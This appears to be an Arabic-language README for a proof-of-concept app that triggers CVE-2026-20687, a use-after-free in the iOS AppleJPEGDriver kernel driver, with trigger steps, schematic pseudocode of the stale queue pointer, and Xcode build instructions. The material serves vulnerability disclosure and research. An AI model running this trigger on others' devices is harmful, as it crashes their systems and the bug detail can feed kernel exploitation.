CVE-2026-20687: AppleJPEGDriver startDecoder() مهلة الاستخدام بعد التحرير (UAF) (ذعر مؤجل)

CVE-2026-20687 | المؤلف: Johnny Franks (@zeroxjf)

المكوّن: Kernel

التأثير: قد يتمكن تطبيق من التسبب في إنهاء غير متوقع للنظام أو الكتابة في ذاكرة kernel

الوصف: تمت معالجة مشكلة الاستخدام بعد التحرير من خلال تحسين إدارة الذاكرة.

— Apple Security Content, iOS 26.4 and iPadOS 26.4

سيؤدي هذا إلى ذعر kernel على جهازك. احفظ عملك.

تم اختباره على iOS 26.3 (23D125) على iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

التشغيل

التشغيل المباشر:

1. قم بتشغيل PoC واضغط على Panic (يُهيّئ برنامج التشغيل / يُدرج عملًا غير متزامن في قائمة الانتظار).
2. ثم افتح Camera (يؤدي هذا بشكل موثوق إلى فك ترميز JPEG متزامن + مهلة على الإصدار المتأثر).
3. مسار المهلة يحرر طلبًا لكنه يترك مؤشر عقدة قائمة الانتظار المضمّن في متجه per-codec.
4. عملية اجتياز قائمة انتظار لاحقة تُلغي مرجعية العقدة القديمة ويحدث ذعر kernel (خطأ فحص علامة MTE).

// PoC: يُهيئ برنامج التشغيل؛ عادةً ما يكون الذعر مؤجلًا حتى فتح Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// لاحقًا، فتح Camera يُشغّل:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: لا يُزيل من قائمة الانتظار (req + 0x78)

// لاحقًا أيضًا (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // قديم: node_ptr == (freed req + 0x78)
  req2 = *(node_ptr + 0x8);              // قراءة UAF لـ req+0x80 -> خطأ فحص علامة MTE -> ذعر

البناء والتشغيل

1. افتح ios-app/Test.xcodeproj في Xcode
2. حدد جهاز iOS الخاص بك (المحاكي غير مفيد)
3. قم بالبناء والتشغيل
4. اضغط على زر Panic
5. افتح تطبيق Camera لتشغيل الذعر المؤجل